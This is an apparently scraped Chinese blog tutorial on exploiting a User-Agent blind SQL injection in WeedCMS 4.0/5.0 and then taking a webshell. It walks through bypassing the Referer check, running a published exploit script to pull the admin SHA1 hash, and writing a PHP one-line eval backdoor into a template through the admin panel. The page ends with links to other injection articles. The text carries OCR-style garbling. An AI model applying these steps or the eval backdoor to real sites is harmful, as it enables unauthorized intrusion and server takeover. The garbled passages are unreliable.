利用野草weedcmsuseragent盲注漏洞拿shell
野草网站管理系统(WEEDCMS)是由野草独立基于PHP+MYSQL开发的内容管理系统。面向企业、个人、小门户等中小规模网站使用而开发的。采用国际上比较流行Smarty引擎和敏捷的JQuery JS框架。
在tools.net上看到有人公布了Weedons的USER_AGENT盲洼漏洞,漏洞影响Weedcms的4 0版和最新的WeedCMS v5.O build 20110101版本,下面我就把这个漏洞介绍给大家。
一.漏洞简单分析
这个漏洞的公布者是sswowo,sswowo已经进行了比较详细的分析,这里直接引用。
出现漏洞的文件是vote.php,USER_ AGENT直接插入数据库,没有经过过滤,导致产生Insert型SQL注入。由于无错误提示,只能进行盲注。代码就不具体写下来了,有需要的可以找我要。
我们可以看到这个函数没有对传人的数据进行任何的过滤,只是简单的SQL语句生成,最后调用query()执行。
首先程序通过GET获取了action变量,如果ac tio n==ok。则处理投票,然后调用了checkrequest()函数对请求进行验证,我们跟进一下这个函数,找到includes/function.php第390行。
我们可以看到,只对REFERER,进行了简单的正则匹配,和XjHO ST进行了比对,我们可以通过伪造请求R卫FERER即可绕过此验证。
接着程序获取了vote_id变量,我们给他传人一个不存在的ID即可,防止在不同的目标环境中导致程序逻辑被中断,然后我们看后面在最后插入投票数据时,直接获取了$_SERVER[’HTTP_USER—AGENT']并且没有任何过滤,而且$_SERVEFR变量是不受magic_quotes_gpc保护的,所以该漏洞通用性很好,几乎可以通杀。最后使用了$db->insert0函数插入到了数据库,我们跟一下这个函数看有没有过滤。找到includes/class_db.php第20-7我们可以看到这个函数没有对传人的数据进行任何的过滤,只是简单的SQL语句生成,最后调用query()执行。漏洞分析就简单引用到这里,下面来看漏洞利用过程。
二.漏洞利用
我从网上下载了野草Weedcms最新版本的野革内容管理系统WeedC MS v5.o build 20110101的源代码,用AppServ在虚拟机里把程序运行了起来。
USER_AGENT盲注漏洞怎么利用呢?别急,sswowo已经给出了一个漏洞的利用EXP,把EXP的代码保存为weedcmsexp.php备用。由于EXP是用PHP代码写的,因此需要用php.exe进行解析。有的朋友可能不知道php.exe在哪里,安装了PHP就有了,我搭建php WEB环境用的AppServ里自带_r'phpS,我就不用再安装PHP了,直接使用了。AppServ中php5的安装目录为C:\AppServ\php5,按键盘上的WIN+R键调出“运行”,输入cmd后回车就打开了命令提示符,输入c dVl:JJ换到C盘根目录下,然后输入cd C:YAppServ\php5,回车,切换到php.exeF在的目录。把漏洞利用EXP weedcmsexp.php复制到C:\AppServ\php5目录下,在命令提示符下输入php.exeweedcmsexp.php就会看到EXI,怎么用。后面跟的4个参数分别为:目标主机端口程序路径(以/开头结尾)延时。要对我虚拟机里搭建的Weedcms进行注入,输入php.exe weedcmsexp.php127.0.0.1 80”/weed/””2”,回车后会看到一行行信息滚过。
注入完成后,猜解出的管理员的用户名为admin,密码为d033 e22ae348aeb5660fc2140aec35850c4da997,密码是经过shal加密的,在在线破解网站得到了管理员的用户名和密码就该进后台想办法拿shell了。Weedcms的后台登录文件是网站根目录下的admin_.php,用得到的用户名和密码顺利进入了后台。
虽然Weedcms 4.0和5.0都可以注入,但我只会在进入Weedcms 5.0的后台后才能获得shell,对于4.O版本的We edcms在后台没找到拿shell的方法,也许我太菜了,有知道怎么拿shell的欢迎和我交流。Weedcms 5.0后台拿shell的方法我是学的心灵公布的野草weedcms 5.0写马漏洞的方法。具体利用方法为在Weedcms的网站地址后面加上如下代码:admin.php?action=config&do=te mplate_edit&file=part__ vote.html,访问后打开的页面。
是编辑模板文件的页面,在文件头插入<?eval($一POST[x]);?>,提交后访问一下网站首页,php-句话木马就写到temps/compile/目录下的part_vote.html.php文件中了,用lanker-句话PHP后门客户端3.O内部版连接获得shell。
虽然Weedcms不是很大众,但这个漏洞仍然有值得大家留意的地方,比如USER AGENT盲注的方法,如果有能力的可以借鉴下漏洞利用EXP的代码,相信你会有所收获。
利用野草weedcmsuseragent盲注漏洞拿shell的更多相关文章
- metinfo小于v6.2.0版本通杀SQL盲注漏洞分析
0x01 此漏洞是由于未将decode解码后的数据过滤,而直接带入SQL语句中,从而导致SQL盲注漏洞. 0x02 漏洞分析:此处复现为metinfo6.1.3版本,漏洞最初产生为:/app/syst ...
- SQL盲注
一.首先输入1和-1 查看输入正确和不正确两种情况 二.三种注入POC LOW等级 ... where user_id =$id 输入 真 and 假 = 假 (1)...where u ...
- 【sqli-labs】 less62 GET -Challenge -Blind -130 queries allowed -Variation1 (GET型 挑战 盲注 只允许130次查询 变化1)
允许130次尝试,然后是个盲注漏洞,看来要单字符猜解了 加单引号,页面异常,但报错被屏蔽了 http://192.168.136.128/sqli-labs-master/Less-62/?id=1' ...
- (十二)DVWA全等级SQL Injection(Blind)盲注--SQLMap测试过程解析
一.测试前分析 前文<DVWA全等级SQL Injection(Blind)盲注-手工测试过程解析> 通过手工测试的方式详细分析了SQL Injection(Blind)盲注漏洞的利用过程 ...
- (十一)DVWA全等级SQL Injection(Blind)盲注--手工测试过程解析
一.DVWA-SQL Injection(Blind)测试分析 SQL盲注 VS 普通SQL注入: 普通SQL注入 SQL盲注 1.执行SQL注入攻击时,服务器会响应来自数据库服务器的错误信息,信息提 ...
- Blind SQL injection:盲注详解
什么是盲注? 当应用程序易受SQL注入攻击,但其HTTP响应不包含相关SQL查询的结果或任何数据库错误的详细信息时,就会出现盲SQL注入. 对于盲目SQL注入漏洞,许多技术(如联合攻击)都是无效的,因 ...
- sqli-labs lesson 7-10 (文件导出,布尔盲注,延时注入)
写在前面: 首先需要更改一下数据库用户的权限用于我们之后的操作. 首先在mysql命令行中用show variables like '%secure%';查看 secure-file-priv 当前的 ...
- DVWA-sql注入(盲注)
DVWA简介 DVWA(Damn Vulnerable Web Application)是一个用来进行安全脆弱性鉴定的PHP/MySQL Web应用,旨在为安全专业人员测试自己的专业技能和工具提供合法 ...
- 【sqli-labs】 less44 POST -Error based -String -Stacked Blind(POST型基于盲注的堆叠字符型注入)
盲注漏洞,登陆失败和注入失败显示的同一个页面 可以用sleep函数通过延时判断是否闭合引号成功 这个方法有一点不好的地方在于,并不能去控制延时,延时的时间取决于users表中的数据数量和sleep函数 ...
随机推荐
- java(8)二重循环
一.二重循环 1.循环中,嵌套另外一个循环,将内层的循环,看成外层循环的一个循环操作 2.常见的二重循环 形式1: 外层while或do…while 内层为for循环 形式2: 外层.内层都 ...
- CSRF篇-本着就了解安全本质的想法,尽可能的用通俗易懂的语言去解释安全漏洞问题
0x01 Brief Description csrf 跨站伪造请求,请求伪造的一种,是由客户端即用户浏览器发起的一种伪造攻击.攻击的本质是请求可以被预测的到. 在了解csrf攻击之前,需要了解浏览器 ...
- Django2.1,Xadmin2.0下的问题记录
此篇博文长期更新…… 环境: Ubuntu18.04, Python3.6, Django2.1, Xadmin2.0 1. Xadmin添加用户小组件时报错:xadmin render() got ...
- Contest2158 - 2019-3-14 高一noip基础知识点 测试3 题解版
传送门 预计得分:0 实际得分:90 还行 T1 数学卡精 二分double卡精 反正就是卡精 怎么办?卡回去!! 将double*=1e4,变成一个long long 注意四舍五入的奇技淫巧 代码 ...
- iPhone8再MacOS上修改手机铃声
1 选择下载好的mp3铃声文件,导入到itunes 2 将音乐改成AAA模式, 设置你的铃声时长 3 show in finder 找到文件,将mpr后缀修改成m4r,并删除掉mp3文件,将m4r文件 ...
- (四)Java工程化--Git基础
GIT学习参考:https://git-scm.com/book/zh/v2 常见命令 git init 初始化项目 git add *.java 添加文件到git版本控制(.java后缀的全部文件) ...
- pt-online-schema-change VS oak-online-alter-table【转】
前言 在上篇文章中提到了MySQL 5.6 Online DDL,如果是MySQL 5.5的版本在DDL方面是要付出代价的,虽然已经有了Fast index Creation,但是在添加字段还是会锁表 ...
- PostgreSQL快速入门
一.PostgreSQL是什么? PostgreSQL是一个功能强大的开源对象关系数据库管理系统(ORDBMS). 用于安全地存储数据; 支持最佳做法,并允许在处理请求时检索它们. PostgreSQ ...
- HTML5 图片下载
1. 概述 1.1 说明 在项目过程中,有时候需要下载某一展示图片,html5中定义了<a> download属性,download属性规定被下载的超链接目标,该属性可以设置一个值来规定下 ...
- gflags_static.lib 无法解析的外部符号 __imp__PathMatchSpec
在用gflags库时生成提示 无法解析的外部符号 __imp__PathMatchSpec 解决办法:Add "shlwapi.lib" to "Project - ...